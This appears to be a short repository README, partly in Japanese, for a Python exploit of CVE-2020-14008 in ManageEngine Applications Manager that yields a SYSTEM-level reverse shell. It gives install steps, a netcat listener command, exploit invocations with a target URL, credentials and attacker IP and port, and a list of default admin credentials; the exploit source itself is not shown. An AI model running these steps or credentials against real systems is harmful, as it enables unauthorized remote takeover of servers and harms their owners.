jackhars/cve-2020-14008Pythonエクスプロイト for CVE-2020-14008 in ManageEngine Applications Manager delivering a SYSTEM-level reverse shell via authenticated remote code execution.
このスクリプトは、ManageEngine Applications Manager の CVE-2020-14008 を悪用し、SYSTEM 権限でリバースシェルを取得します。
pip3 install requests urllib3
nc -nlvp 9001
python3 cve-2020-14008-exploit.py <target_url> <username> <password> <your_ip> <your_port>
# Direct attack
python3 cve-2020-14008-exploit.py https://192.168.1.100:8443 admin admin 192.168.1.50 9001
# Through port forwarding
python3 cve-2020-14008-exploit.py https://localhost:8443 admin admin 127.0.0.1 9001
admin:adminadministrator:administratorguest:guest